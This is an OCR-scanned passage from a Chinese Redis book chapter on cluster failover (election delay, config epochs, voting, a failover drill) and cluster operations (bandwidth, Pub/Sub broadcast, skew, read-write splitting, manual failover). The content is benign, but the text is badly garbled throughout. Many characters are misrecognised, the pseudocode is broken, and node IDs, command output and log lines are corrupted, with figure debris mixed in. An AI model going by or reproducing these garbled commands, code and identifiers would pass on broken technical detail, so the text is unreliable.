使 用 之 上 的 优先 级 排名 ， 更 新 选举 触及 时 间 ， 伪 代码 如 下 : 





def updateFailoverTime () : 
/ / 默认 触发 选举 时 间 : 发 现 客观 下 线 后 一 秒 内 执行 。 
server.cluster.failover auth time = now() + 500 + random() % 500; 
// 获取 当前 从 节点 排名 
int rank = clusterGetSlaveRank () ; 
long added delay = rank * 1000; 
// 使 用 added _delay 时 间 累 加 到 failover _auth time 中 
server.cluster.failover auth time += added delay; 
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/ / 更 新 当前 从 节点 排名 
server.cluster.failover auth rank = rank; 











所 有 的 从 节点 中 复制 偏 移 量 最 大 的 将 提前 触 友 故障 选举 流程 ， 如 图 10- 
40 所 示 。 











主 节点 b 进 入 客观 下 线 后 ， 它 的 三 个 从 节点 根据 自身 复制 偏 移 量 设置 延 
迟 选 举 时 间 ， 如 复制 偏 移 量 最 大 的 节点 slave b-1 延 迟 1 秒 执行 ， 保 证 复制 延 
述 低 的 从 节点 优先 发 起 选举 。 
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图 10-40 ”从 节点 延迟 触发 选举 时 间 
3. 发 起 选举 


当 从 节点 定时 任务 检测 到 达 故 障 选 举 时 间 〈failover_auth time) a 到达 
后 ， 发 起 选举 流程 如 下 : 





(1) 更 新 配置 纪元 


002 





配置 纪元 是 一 个 只 增 不 减 的 整数 ， 每 个 主 节点 自身 维护 一 个 配置 纪元 
(clusterNode.configEpoch)〉 标 示 当 前 主 节点 的 版 本 ， 所 有 主 节点 的 配置 纪元 
都 不 相等 ， 从 节点 会 复制 主 节 点 的 配置 纪元 。 整 个 集群 又 维护 一 个 全 局 的 配 
置 纪元 (clusterState.current Epoch) ， 用 于 记录 集群 内 所 有 主 节 点 配置 纪元 
的 最 大 版 本 。 执 行 cluster info 命 令 可 以 查看 配置 纪元 信息 : 














127.0.02156379> eluster 工 站 EC 


cluster current epockh:ls / / 整个 集群 最 大 配置 纪元 
Cluster my epoch:13 / / 当前 主 节点 配置 纪元 














配置 纪元 会 跟随 pingpong 消 息 在 集群 内 传播 ， 当 发 送 方 与 接收 方 都 是 主 
节点 且 配 置 纪元 相等 时 代表 出 现 了 冲突 ，nodeld 更 大 的 一 方 会 递增 全 局 配置 
纪元 并 赋值 给 当前 节点 来 区 分 冲突 ， 伪 代码 如 下 : 











def clusterHandleConfigEpochCollision(clusterNode sender) : 





if (sender.configEpoch != myself.configEpoch || !nodeIlsMaster(sender) || !'n 
(myself)) : 

Et 

/ / ”发送 节 点 的 nodeId 小 于 自身 节点 nodeId 时 忽略 




















if (sender.nodeld <= myself.nodel1d): 
return 
/ / 更 新 全 局 和 自身 配置 纪元 
server.cluster.currentEpocht+t+; 
myself.configEpoch = server.cluster.currentEpoch; 























配置 纪元 的 主要 作用 : 


标示 集群 内 每 个 主 节 点 的 不 同 版 本 和 当前 集群 最 大 的 版 本 。 





每 次 集群 发 生 重 要 事件 时 ， 这 里 的 重要 事件 指出 现 新 的 主 节 点 《新 加 
入 的 或 者 由 从 节点 转换 而 来 ) ， 从 节点 竞争 选举 。 都 会 递增 集群 全 局 的 配置 
纪元 并 赋值 给 相关 主 节 点 ， 用 于 记录 这 一 关键 事 件 。 











` 主 节点 具有 更 大 的 配置 纪元 代表 了 更 新 的 集群 状态 ， 因 此 当 节 点 间 进 
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行 pingjpong 消 息 交 换 时 ， 如 出 现 slots 等 关键 信息 不 一 致 时 ， 以 配置 纪元 更 大 
的 一 方 为 准 ， 防 止 过 时 的 消息 状态 污染 集群 。 


配置 纪元 的 应 用 场景 有 : 
-新科 把 加 入 。 
模 市 点 映射 冲突 检测 。 


-从 市 反 投 票选 举 冲突 检测 。 


Oana 





之 前 在 通过 cluster setslot 命 令 修改 槽 节点 映射 时 ， 需 要 确保 执行 请 求 的 
主 节点 本 地 配置 纪元 (configEpoch〉 是 最 大 值 ， 否 则 修改 后 的 槽 信息 在 消息 
传播 中 不 会 被 拥有 更 高 的 配置 纪元 的 节点 采纳 。 由 于 Gossip 通 信 机 制 无 法 准 
确 知 道 当前 最 大 的 配置 纪元 在 哪个 节点 ， 因 此 在 槽 迁移 任务 最 后 的 cluster 








setslot{slot}node {nodeld} 命令 需要 在 全 部 主 节 点 中 执行 一 


从 节点 每 次 发 起 投票 时 都 会 自 增 集群 的 全 局 配置 纪元 ， 并 单独 保存 在 
clusterState.failover_auth_ epoch 变量 中 用 于 标识 本 次 从 布点 发 起 选举 的 版 本 。 
(2) 广播 选举 消息 
在 集群 内 广播 选举 消息 (FAILOVER AUTH REQUEST) ， 并 记录 已 发 
送 过 消息 的 状态 ， 保 证 该 从 节点 在 一 个 配置 纪元 内 只 能 发 起 一 次 选举 。 消 息 
内 容 如 同 ping 消 息 只 是 将 type 类 型 变 为 FAILOVER_AUTH _ REQUEST。 





4. 选 举 投票 
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只 有 持 有 槽 的 主 节 点 才 会 处 理 故 障 选举 消息 
(FAILOVER_AUTH REQUEST) ， 因 为 每 个 持 有 槽 的 节点 在 一 个 配置 纪元 
内 都 有 唯一 的 一 张 选票 ， 当 接 到 第 一 个 请 求 投票 的 从 节点 消息 时 回复 
FAILOVER_AUTH _ACK 消 息 作 为 投票 ， 之 后 相同 配置 纪元 内 其 他 从 节点 的 
选举 消息 将 忽略 。 











投票 过 程 其 实 是 一 个 领导 者 选举 的 过 程 ， 如 集群 内 有 N 个 持 有 覃 的 主 节 
点 代表 有 N 张 选票 。 由 于 在 每 个 配置 纪元 内 持 有 覃 的 主 节 点 只 能 投票 给 一 个 
从 节点 ， 因 此 只 能 有 一 个 从 节点 获得 N/2+1 的 选票 ， 保 证 能 够 找 出 唯一 的 从 
节操 。 








Redis 集 群 没有 直接 使 用 从 节点 进行 领导 者 选举 ， 主 要 因为 从 节点 数 必 
须 大 于 等 于 3 个 才能 保证 炎 够 Ni2+1 个 市 态 ， 将 导致 从 节点 资源 浪费 。 使 用 
集群 内 所 有 持 有 槽 的 主 节 点 进行 领导 者 选举 ， 即 使 只 有 一 个 从 节点 也 可 以 完 
成 选举 过 程 。 


当 从 节点 收集 到 2+1 个 持 有 槽 的 主 节点 投票 时 ， 从 节点 可 以 执行 蔡 换 
主 节点 操作 ， 例 如 集群 内 有 5 个 持 有 槽 的 主 节点 ， 主 节点 b 故 障 后 还 有 4 个 ， 
当 其 中 一 个 从 节点 收集 到 3 张 投 票 时 代表 获得 了 足够 的 选票 可 以 进行 替换 主 
节点 操作 ， 如 图 10-41 所 示 。 
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图 10-41 ”从 节点 slave b-1 成 功 获得 3 张 选票 
© ,nn 


故障 主 节 点 也 算 在 投票 数 内 ， 假 设 集群 内 节点 规模 是 3 主 3 从 ， 其 中 有 2 





个 主 节 点 部 署 在 一 台 机 器 上 ， 当 这 人 台 机 器 宕 机 时 ， 由 于 从 节点 无 法 收集 到 
3/2+1 个 主 节 点 选票 将 导致 故障 转移 失败 。 这 个 问题 也 适用 于 故障 发 现 环 
节 。 因 此 部 署 集 群 时 所 有 主 节点 最 少 需要 部 署 在 3 台 物 理 机 上 才能 避免 单 点 














投票 作废 : 每 个 配置 纪元 代表 了 一 次 选举 周期 ， 如 果 在 开始 投票 之 后 的 


cluster-node-timeout*2 时 间 内 从 节点 没有 获取 足够 数量 的 投票 ， 则 本 次 选举 
作废 。 从 节点 对 配置 纪元 自 增 并 发 起 下 一 轮 投 票 ， 直 到 选举 成 功 为 止 。 
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5. 蔡 换 主 节 所 


当 从 市 点 收集 到 足够 的 选票 之 后 ， 触 发 蔡 换 主 市 皮 操 作 : 





1) 当前 从 市 点 取 消 复 制 变 为 主 节 点 。 


2) 执行 clusterDelSlot 操 作 撤 销 故 障 主 节点 负责 的 模 ， 并 执行 
clusterAddSlot 把 这 些 槽 委派 给 日 己 。 





3) 同 集群 广播 自己 的 pong 消 奶 ， 通 知 集群 内 所 有 的 节点 当前 从 市 点 变 
为 主 节点 并 接管 了 故障 主 节 点 的 槽 信息 。 
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10.6.3 ”故障 转移 时 间 


在 介绍 完 故 障 发 现 和 恢复 的 流程 后 ， 这 时 我 们 可 以 估算 出 故障 转移 时 
间 : 


1) 主观 下 线 “pfail) 识别 时 间 =cluster-node-timeout。 


2) 主观 下 线 状 态 消息 传播 时 间 <=cluster-node-timeout/2。 消 息 通信 机 制 
对 超过 cluster-node-timeout2 未 通信 和 节 ee 息 ， 消 息 体 在 选择 包 合 
哪些 节点 时 会 优先 选取 下 线 状 态 节点 ， 所 以 通常 这 段 时 间 内 能 够 收集 到 半数 
以 上 主 节 点 的 pfail 报 告 从 而 完成 故障 发 现 。 


3) 从 市 氮 转 移 时 间 <=1000 坚 秒 。 由 于 存在 延迟 发起 选举 机 制 ， 偶 移 量 
最 大 的 从 布点 会 最 多 延 到 1 秒 发 起 选举 。 通 闻 第 一 次 选举 加 会 成 功 ， 所 以 从 
节点 执行 转移 时 间 在 1 秒 以 内 。 





根据 以 上 分 析 可 以 预 估 出 故障 转移 时 间 ， 如 下 : 





failover-time (毫秒 ) < cluster-node-timeout + cluster-node-timeout/2 + 1000 





因此 ， 故 障 转 移 时 间 跟 cluster-node-timeout 参 数 息 息 相 关 ， 默 认 15 秒 。 
配置 时 可 以 根据 业务 容忍 度 做 出 适当 调整 ， 但 不 是 越 小 越 好 ， 下 一 节 的 带宽 
消耗 部 分 会 进一步 说 明 。 











008 


10.6.4 ”故障 转移 演练 


到 目前 为 止 介绍 了 故障 转移 的 主要 细节 ， 下 面 通过 之 前 搭建 的 集群 模拟 
主 节点 故障 场景 ， 对 故障 转移 行为 进行 分 机 。 使 用 kill-9 强 制 关 闭 主 节点 





6385 进 程 ， 如 图 10-42 所 示 。 


| 





| cluster | 
| i a> | 
| -人 
| “> | 
i 、 | ep 2 | 
Fin 9 fd ， FE- 人 从 ， 
~ “> | 
1 一 一 1 
WN :pl 6 
(68385) — ~ — ->6386) | 
wy | 


图 10-42” 主 节点 6385 被 强制 关闭 


确认 集群 状态 : 





127.0.0.1:6379> cluster nodes 
1l1a205dd8b2819a00ddle8b6be40a8e2abe77b756 





connected 0-1365 5462-6826 10923-12287 15018- 
127.0.0.1:6382 


40622f9e7Tadc8ebd77fca0de9edfe691cb8a74fb 


127.0.0.186385 
16383 


86abe5d2456674441lle 0 1471877564608 13 connected 


8e41673d59c9568aa9gd29fb1l74ce733345b3e8f1 
connected 6827-10922 13653-15017 
475528blbcf8e74d227104a6cf1lbf70f00c24aae 


127.0;.0.1 


127.0:0.L1:6380 


| :6386 


b6ébe40a8e2abe77b756 0 1471877569145 16 connected 


cfpb28efldeee4e0fa78da86abe5d2456674441le 
connected 1366-5461 12288-13652 
be9485a6a729fc98c5151374bc30277e89a461d8 


127.0,.05] 








E27 :0.0 
d29fbl74ce733345pb3e8f1 0 1471877568136 11 connected 


L26379 


| :6383 


master - 0 147187756360 
slave cfb28efldeee4e0fa 
master - 0 147187756712 
slave la205dd8b2819a00d 
myself,master - 0 0 13 


slave 8e41673d59c9568aa 





强制 关闭 6385 进 程 : 
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# ps -ef | grep redis-server | grep 6385 
S01 ,1.362 0 10:50 0:11.65 redis-server *:6385 [cluster] 
# kill -9 1362 








.从 节点 6386 与 主 节点 6385$ 复 制 中 断 ， 日 志 如 下 : 





=> redis-6386.109g <== 

Connection with master lost. 

Caching the disconnected master state. 

Connecting to MASTER 127.0.0.1:6385 

MASTER <-> SLAVE Sync started 

Error condition on socket for SYNC: Connection refused 














| 





.6379 和 6380 两 个 主 节点 都 标记 6385$ 为 主观 下 线 ， 超 过 半数 因此 标记 为 
客观 下 线 状 态 ， 打 印 如 下 日 志 : 





==> redis-6380.10g <== 

* Marking node 1a205dd8b2819a00ddle8b6be40a8e2abe77b756 as failing (gquorum reac 
==> redis-6379.10g <== 
* Marking node la205dd8b2819a00ddle8b6be40a8e2abe77b756 as failing (gquorum reac 

















-从 节点 识别 正在 复制 的 主 节点 进入 客观 下 线 后 准备 选举 时 间 ， 日 志 打 
印 了 选举 延迟 964 雷 秒 之 后 执行 ， 并 打印 当前 从 节点 复制 侦 移 量 。 








==> redis-6386.10g <== 
# Start of election delayeqd for 964 milliseconds (rank #0, offset 1822) . 








述 选 举 时 间 到 达 后 ， 从 节点 更 新 配置 纪元 并 发 起 故障 选举 。 





==> redis-6386.10g <== 
1364:S 22 Aug 23:12:25.064 # Starting a failover election for epoch 17. 





.6379 和 6380 主 节点 为 从 节点 6386 投 票 ， 日 志 如 下 : 
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==> redis-6380.10g <== 
# Failover auth granted to 475528blbcf8e74d227104a6cf1lbf70f00c24aae for epoch 1 
==> redis-6379.10g <== 
# Failover auth granted to 475528blbcf8e74d227104a6cf1lbf70f00c24aae for epoch 1 











-从 市 反 获 取 2 个 主 节 扣 投 票 之 后 ， 超 过 半数 执行 丛 换 主 市 皮 操 作 ， 从 而 
完成 故障 转移 : 





==> redis-6386.10g <== 
# Failover election won: I'm the new master. 
# configEpoch set to 17 after successful failover 











成 功 完 成 故障 转移 之 后 ， 我 们 对 已 经 出 现 故 障 节 点 6385 进 行 恢复 ， 观 察 
市 反 状 态 古 否 正 人 确 : 


1) 重新 启动 故障 节点 6385。 





#redis-server conf/redis-6385.conf 








2) 6385 节 点 启动 后 发 现 自己 负责 的 模 指 派 给 另 一 个 节点 ， 则 以 现 有 集 
群 配 置 为 准 ， 变 为 新 主 节点 6386 的 从 节点 ， 关 键 日 志 如 下 : 





# I have keys for Slot 4096, but the Slot is assigned to another node. Setting 
importing state. 

# Configuration change detected. Reconfiguring myself as a replica of 475528blb 
8e74d227104a6cflbf70f00c24aae 








3) 集群 内 其 他 节点 接收 到 6385 发 来 的 ping 消 思 ， 清 空 客观 下 线 状 态 : 





> redqis-6379.1og <== 
Clear FAIL state for node 1a205dd8b2819a00ddle8b6be40a8e2abe77b756: master wi 
slots is reachable again. 
> redis-6380.10g <== 
Clear FAIL state for node 1a205dd8b2819a00ddle8b6be40a8e2abe77b756: master wi 
slots is reachable again. 
> redis-6382.10g <== 
Clear FAIL state for node 1a205dd8b2819a00ddle8b6be40a8e2abe77b756: master wi 
slots is reachable again. 
> redis-6383.10g <== 
Clear FAIL state for node 1a205dd8b2819a00ddle8b6be40a8e2abe77b756: master wi 
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Slots is reachabl 


==> redis-6386.10g <== 


* Clear FAIL state for 
slots is reachabl 








e again. 


node 1a205dd8b2819a00ddle8b6be40a8e2abe77b756: master wi 
e again. 








4) 6385 节 点 变 为 从 节 


点 ， 对 主 节点 6386 发 起 复制 流程 : 





==> redis-6385.10g <== 


* MAST 
* MAST 
* MAST 


ER <-> SLAVE 
ER <-> SLAVE 











ER <-> SLAVE 


sync: 
sync: 
sync: 


Flushing old data 
Loading DB in memory 
Finished with success 





5) 最 终 集群 状态 如 图 10-43 所 示 。 
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图 10-43 6386 成 为 主 节点 且 6385 变 为 它 的 从 节点 
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10.7 集群 运 维 


Redis 集 群 由 于 自身 的 分 布 式 特性 ， 相 比 单机 场景 在 开发 和 运 维 方 面 存 
在 一 些 差 异 。 本 节 我 们 关注 于 常见 的 问题 进行 分 析 定 位 。 
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10.7.1 集群 完整 性 


为 了 保证 集群 完整 性 ， 上 默认 情况 下 当 集 群 16384 个 槽 任何 一 个 没有 指派 
到 节点 时 整个 集群 不 可 用 。 执 行 任 何 键 命令 返回 (error) CLUSTERDOWN 
Hash slot not served 错 误 。 这 是 对 集群 完整 性 的 一 种 保护 措施 ， 保 证 所 有 的 
槽 都 指派 给 在 线 的 节点 。 但 是 当 持 有 槽 的 主 节 点 下 线 时 ， 从 故障 发 现 到 自动 
完成 转移 期 间 整 个 集群 是 不 可 用 状态 ， 对 于 大 多 数 业 务 无 法 容忍 这 种 情况 ， 
因此 建议 将 参数 cluster-require-full-coverage 配 置 为 0， 当 主 节点 故障 时 只 影 
啊 它 负责 槽 的 相关 命令 执行 ， 不 会 影响 其 他 主 节 点 的 可 用 性 。 
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10.7.2” 斋 宽 消 耗 








集群 内 Gossip 消 轧 通 信 本 喘 会 消耗 带宽 ， 官 方 建议 集群 电大 规模 在 1000 
以 内 ， 也 是 出 于 对 消 妃 通信 成 本 的 考虑 ， 因 此 单 集群 不 适合 部 署 超大 规模 的 
节点 。 在 之 前 贡 点 通信 小 节 介 绍 到 ， 集 群 诊所 有 节点 通过 ping/pong 消 轧 彼 此 
交换 信息 ， 市 反 间 消息 通信 对 禹 宫 的 消耗 体现 在 以 下 几 个 方面 : 








消息 发 送 频率 : 跟 cluster-node-timeout 密 切 相 关 ， 当 节点 发 现 与 其 他 节 
点 最 后 通信 时 间 超 过 cluster-node-timeout/2 时 会 直接 发 送 ping 消 息 。 





消息 数据 量 : 每 个 消息 主要 的 数据 占用 包含 : slots 模 数组 (2KB 空 
间 〉 和 整个 集群 /10 的 状态 数据 (10 个 市 点 状态 数据 约 1KB)》。 








-市 点 部 署 的 机 器 规模 : 机 器 融 宽 的 上 线 是 固定 的 ， 因 此 相同 规模 的 集 
群 分 布 的 机 器 越 多 每 台 机 器 划分 的 节点 越 均 义 ， 则 集群 内 整体 的 可 用 市 宽 越 
高 。 

例如 ， 一 个 总 节点 数 为 200 的 Redis 集 群 ， 部 署 在 20 台 物理 机 上 每 人 台 划 分 
10 个 车 点 ，cluster-node-timeout 采 用 默认 15 秒 ， 这 时 ping/pong 消 息 占用 带宽 
达到 25Mb。 如 果 把 cluster-node-timeout 设 为 209， 对 带宽 的 消耗 降低 到 15Mb 以 
中 





集群 带宽 消耗 主要 分 为 : 读 写 命令 消耗 +Gossip 消 息 消 耗 。 因 此 搭建 
Redis 集 群 时 需要 根据 业务 数据 规模 和 消息 通信 成 本 做 出 合理 规划 : 





1) 在 满足 业务 需要 的 情况 下 尽量 避免 大 集群 。 同 一 个 系统 可 以 针对 不 
同业 务 场景 折 分 使 用 多 套 集 群 。 这 样 每 个 集群 既 满足 伸缩 性 和 故障 转移 要 
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求 ， 还 可 以 规避 大 规模 集群 的 浆 喘 。 如 笔者 维护 的 一 个 推荐 系统 ， 根 据 数据 
特征 使 用 了 5 个 Redis 集 群 ， 每 个 集群 和 点 规模 控制 在 100 以 内 。 


2) 适度 提高 cluster-node-timeout 降 低 消 息 发 送 频率 ， 同 时 cluster-node- 
timeout 还 影响 故障 转移 的 速度 ， 因 此 需要 根据 自身 业务 场景 兼顾 二 者 的 平 


衡 。 














3) 如 果 条 件 允 许 集 群 尽量 均匀 部 著 在 更 多 机 器 上 。 避 免 集 中 部 车， 如 
集群 有 60 个 点 ， 集 中 部 普 在 3 台 机 器 上 每 台 部 普 20 个 节点 ， 这 时 机 需 带 宽 
消耗 将 非常 严重 。 
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10.7.3 Pub/Sub 广 播 问 题 


Redis 在 2.0 版 本 提供 了 Pub/Sub 发布 /订阅 〉 功 能 ， 用 于 针对 频道 实现 
消息 的 发 布 和 订阅 。 但 是 在 集群 模式 下 内 部 实现 对 所 有 的 publish 命 令 都 会 向 
所 有 的 节点 进行 广播 ， 造 成 每 条 publish 数 据 都 会 在 集群 内 所 有 节点 传播 一 
次 ， 加 重 带宽 负担 ， 如 图 10-44 所 示 : 


cluster 


BK 
“422 


publish 













yublish 





| client | 


| 
| 
1 
I 
| 
| 
| 


a 


图 10-44 ”publish 命 令 在 集群 内 广播 
通过 命令 演示 Pub/Sub 广 播 问 题 ， 如 下 所 示 : 


1) 对 集群 所 有 主 从 节点 执行 subscribe 命 令 订 阅 cluster_pub_spread 频 
道 ， 用 于 验证 集群 是 否 广播 消息 : 





127202051263713> Subseribe cluster pub spread 
127:0.0.1:6380> subscrile cluster pub spread 
127.0.0.1:6382> subscribe cluster pub spread 
127.0.0.1:6383> subscribe cluster pub spread 
上 2.1520305126385> Subsoribe Cluster pub. spread. 
127.0.0.1:6386> subscribe cluster pub spread 
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2) 在 6379 节 点 上 发 布 频道 为 cluster pub_spread 的 消息 : 





127.0.0.1:6379> publish cluster pub spread message body 1 





3) 集群 内 所 有 的 节 扣 订阅 客户 端 全 部 收 到 了 消 忆 : 





127.0.0.1:6380> subscribe cluster pub spread 
1) "message" 

2)°" TeLltster pub: spread" 

3) "message body 1 

127.0.0.1:6382> subscribe cluster pub spread 
1) "message" 

2)- “olLuUster pub spredad” 

3) "message body 1 





针对 集群 模式 下 publish 广 播 问题 ， 需 要 引起 开发 人 员 注 意 ， 当 频繁 应 用 
Pub/Sub 功 能 时 应 该 避免 在 大 量 节点 的 集群 内 使 用 ， 否 则 会 严重 消耗 集群 内 
网 络 带宽 。 针 对 这 种 情况 建议 使 用 sentinel 结 构 专 门 用 于 Pub/Sub 功 能 ， 从 而 
规避 这 一 问题 。 
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10.7.4 ”集群 倾斜 








集群 倾斜 指 不 同 节点 之 间 数 据 量 和 请 求 量 出 现 明显 差异 ， 这 种 情况 将 加 
大 负载 均衡 和 开 友 运 维 的 难度 。 因 此 需要 理解 哪些 原因 会 造成 集群 倾斜 ， 从 
而 避免 这 一 问题 。 


1. 数 据 倾 冬 


数据 倾斜 主要 分 为 以 下 几 种 : 


节点 和 槽 分 配 严 重 不 均 。 


不 同 槽 对 应 键 数 量 普 异 过 大 。 





集合 对 象 包含 大 量 元 素 。 


:内存 相关 配置 不 一 致 。 





1) 节点 和 模 分 配 严重 不 均 。 针 对 每 个 节点 分 配 的 模 不 均 的 情况 ， 可 以 
使 用 redis-trib.rb info{host: ip} 进 行 定位 ， 命 令 如 下 : 





#redis-tripb.rb info 127.0.0.1:6379 


127.0.0.1:6379 (cfb28efl...) -> 33348 keys | 5461 slots | 1 slaves. 
127.0.0.1:6380 (8e41673d...) -> 33391 keys | 5461 slots | 1 slaves. 
127.0.0.1:6386 (475528b1...) -> 33263 keys | 5462 slots | 1 slaves. 








[OK] 100002 keys in 3 masters. 
6.10 keys per slot on average. 





以 上 信息 列举 出 每 个 节点 负责 的 槽 和 键 总 量 以 及 每 个 槽 平均 键 数 量 。 当 
节点 对 应 槽 数量 不 均匀 时 ， 可 以 使 用 redis-trib.rb rebalance 命 令 进 行 平衡 : 





#redis-trib.rb rebalance 127.0.0.1:6379 
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[OK] All 16384 slots covered. 
*** No rebalancing needed! All nodes are within the 2.0% threshold. 





2) 不 同 槽 对 应 键 数量 差 异 过 大 。 键 通过 CRC16 哈 希 函数 映射 到 槽 上 ， 
正常 情况 下 槽 内 键 数 量 会 相对 均匀 。 但 当 大 量 使 用 hash_ tag 时， 会 产生 不 同 
的 键 映射 到 同一 个 槽 的 情况 。 特 别 是 选择 作为 hash_tag 的 数据 离散 度 较 差 
时 ， 将 加 速 模 内 键 数 量 倾 斜 情况 。 通 过 命令 : cluster countkeysinslot{slot} 可 
以 获取 槽 对 应 的 键 数 量 ， 识 别 出 哪些 槽 映射 了 过 多 的 键 。 再 通过 命令 cluster 
getkeysinslot{slot} {counmt} 循 环 达 代 出 横 下 所 有 的 键 。 从 而 及 现 过 度 使 用 
hash tag 的 键 。 





3) 集合 对 象 包含 大 量 元 素 。 对 于 大 集合 对 象 的 识别 可 以 使 用 redis-cli-- 
bigkeys 命 令 识别 ， 有 具体 使 用 见 12.5$ 节 。 找 出 大 集合 之 后 可 以 根据 业务 场景 ; 
行 拆 分 。 同 时 集群 槽 数据 迁移 是 对 键 执行 migrate 操 作 完 成 ， 过 大 的 键 集 合 如 
几 百 兆 ， 容 易 造 成 migrate 命 令 超 时 导致 数据 迁移 失败 。 


4) 内 存 相关 配置 不 一 致 。 内 存 相 关 配 置 指 hash-max-ziplist-value、set- 
max-intset-entries 等 压缩 数据 结构 配置 。 当 集群 大 量 使 用 hash、set 等 数据 结构 
时 ， 如 果 内 存 压 缩 数 据 结构 配置 不 一 致 ， 极 端 情况 下 会 相差 数 倍 的 内 存 ， 从 
而 造成 节点 内 存量 倾斜 。 








2. 请 求 倾斜 











集群 内 特定 节点 请 求 量 /流量 过 大 将 导致 节点 之 间 负 和 载 不 均 ， 影 响 集群 
均衡 和 运 维 成 本 。 第 出 现在 热点 键 场景 ， 当 键 命令 消耗 较 低 时 如 小 对 象 的 
get、gset、incr 等 ， 即 使 请 求 量 差异 较 大 一 般 也 不 会 产生 负载 严重 不 均 。 但 是 
当 热 点 键 对 应 高 算法 复杂 上 度 的 命令 或 者 是 大 对 象 操作 如 hgetall、smembers 
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等 ， 会 导致 对 应 市 点 负载 过 高 的 情况 。 避 免 方 式 如 下 : 


1) 合理 设计 键 ， 热 点 大 集合 对 象 做 拆 分 或 使 用 hmget 蔡 代 hgetall 避 免 整 
体 读 取 。 


2) 不 要 使 用 热 键 作 为 hash_tag， 避 免 映 射 到 同一 模 。 


3) 对 于 一 致 性 要 求 不 高 的 场景 ， 客 户 端 可 使 用 本 地 绥 存 减少 热 键 调 
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10.7.5 ”集群 读 写 分 离 


集群 模式 下 从 节点 不 接受 任何 读 写 请 求 ， 发 送 过 来 的 键 命令 会 重 定向 到 
负责 槽 的 主 节点 上 《其 中 包括 它 的 主 节 点 ) 。 当 需要 使 用 从 节点 分 担 主 节 点 
读 压力 时 ， 可 以 使 用 readonly 命 令 打开 客户 端 连接 只 读 状 态 。 之 前 的 复制 配 
置 slave-read-only 在 集群 模式 下 无 效 。 当 开启 只 读 状 态 时 ， 从 节点 接收 读 命 
令 处 理 流程 变 为 : 如 果 对 应 的 槽 属于 自己 正在 复制 的 主 节点 则 直接 执行 读 命 
令 ， 否 则 返回 重 定向 信息 。 命 令 如 下 : 














/ / 默认 连接 状态 为 普通 客户 端 : flags=N 

127.0.0.1:6382> client list 

id=3 addr=127.0.0.1:56499 fdq=6 name= age=130 idle=0 flags=N db=0 sub=0 psub=0 m 
qbuf=0 qbuf-free=32768 obl=0 oll=0 omem=0 events=r cmd=client 

/ / ”命令 重 定向 到 主 节点 

127.0.0.1:6382> get key:test:3130 

(error) MOVED 12944 127.0.0.1:6379 

/ / 打开 当前 连接 只 读 状态 

127.0.0.1:6382> readonly 

OK 

/ / 客户 端 状态 变 为 只 读 : fl1ags=r 

127.0.0.1:6382> client list 

id=3 addr=127.0.0.1:56499 fdq=6 name= age=154 idle=0 flags=r db=0 sub=0 psub=0 m 
qbuf=0 qbuf-free=32768 obl=0 oll=0 omem=0 events=r cmd=client 

// 从 节点 响应 读 命令 

127.0.0.1:6382> get key:test:3130 

"value:3130" 
































readonly 命 令 是 连接 级 别 生 效 ， 因 此 每 次 新 建 连接 时 都 需要 执行 readonly 
开启 只 读 状 态 。 执 行 readwrite 命 令 可 以 关闭 连接 只 读 状 态 。 


集群 模式 下 的 读 写 分 离 ， 同 样 会 遇 到 : 复制 延迟 ， 读 取 过 期 数据 ， 从 节 
扩 故 障 等 问题 ， 具 体 细节 见 6.5 复 制 运 维 小 节 。 针 对 从 市 皮 故 障 问题 ， 客 户 
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端 需要 维护 可 用 节点 列表 ， 集 群 提供 了 cluster slaves{fnodeId} 命令， 返回 
nodeld 对 应 主 节 点 下 所 有 从 节点 信息 ， 数 据 格 式 同 cluster nodes， 命 令 如 下 : 











// 


.27 


1) 


2) 





返回 6379 节 点 下 所 有 从 节点 

0.0.1:6382> cluster slaves cfb28efldeee4e0fa78da86abe5d24566744411le 
"40622f9e7Tadc8ebd77fca0de9edfe691cb8a74fb 127.0.0.1:6382 myself,slave cfb28e 
fldeee4e0fa78da86abe5d2456674441lle 0 0 3 connected" 
"2e7T7cf7539d076al217a408bb897727e5349bcfcf 127.0.0.1:6384 slave,fail cfb28efl 
deee4e0fa78da86abe5d24566744411le 1473047627396 1473047622557 13 qisconnecte， 




















解析 以 上 从 节点 列表 信息 ， 排 除 fail 状 态 节 点 ， 这 样 客户 端 对 从 节点 的 
故障 判定 可 以 委托 给 集群 处 理 ， 简 化 维护 可 用 从 节点 列表 难度 。 





Oana 


集群 模式 下 读 写 分 离 涉 及 对 客户 端 修改 如 下 : 


1 


2 


3 


) 维护 每 个 主 市 上 可 用 从 市 点 列表 。 
) 针对 读 命 令 维护 请 求 节 点 路 由 。 


) 从 节点 新 建 连接 开启 readonly 状 态 











集群 模式 下 读 写 分 离 成 本 比较 高 ， 可 以 直接 扩展 主 节 点 数量 提高 集群 性 


IO 
CC 


一 般 不 建议 集群 模式 下 做 读 写 分 离 





集群 读 写 分 离 有 时 用 于 特殊 业务 场景 如 : 


1) 利用 复制 的 最 终 一 怪 性 使 用 多 个 从 节操 做 跨 机 房 部 署 降低 读 命 令 网 
络 延迟 。 
2) 主 节 点 故障 转移 时 间 过 长 ， 业 务 端 把 读 请 求 路 由 给 从 节点 保证 读 操 
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作 可 用 。 


以 上 场景 也 可 以 在 不 同 机 房 独立 部 闭 Redis 集 群 解决 ， 通 过 客户 端 多 写 
来 维护 ， 读 命令 直接 请 求 到 最 近 机 房 的 Redis 集 群 ， 或 者 当 一 个 集群 节点 故 
障 时 客户 端 转 问 另 一 个 集群 。 
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10.7.6 手动 故障 转移 


Redis 集 群 提供 了 手动 故障 转移 功能 :指定 从 节点 发 起 转移 流程 ， 主 从 
节点 角色 进行 切换 ， 从 节点 变 为 新 的 主 节点 对 外 提供 服务 ， 旧 的 主 节点 变 为 
它 的 从 节点 ， 如 图 10-45 所 示 。 


0389 
master 


转移 后 


| 

| 

| 

| 

下 
6382 6389 
master | \ slave 


图 10-45 手动 切换 主 从 节点 角色 


在 从 节点 上 执行 cluster failover 命 令 发 起 转移 流程 ， 默 认 情 况 下 转移 期 
间 客 户 端 请 求 会 有 短暂 的 阻塞 ， 但 不 会 丢失 数据 ， 流 程 如 下 : 





1) 从 节点 通知 主 节点 停止 处 理 所 有 客户 端 请 求 。 
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2) 主 节 点 发 送 对 应 从 节点 延迟 复制 的 数据 。 


3) 从 市 反 接 收 处 理 复制 延迟 的 数据 ， 直 到 主 从 复制 偏 移 量 一 致 为 止 ， 
保证 复制 数据 不 丢失 。 


4) 从 节点 立刻 发 起 投票 选举 〈 这 里 不 需要 延迟 触发 选举 ) 。 选 举 成 功 
后 断 开 复制 变 为 新 的 主 节点 ， 之 后 癌 集 群 广播 主 节点 pong 消 息 ， 故 障 转移 细 
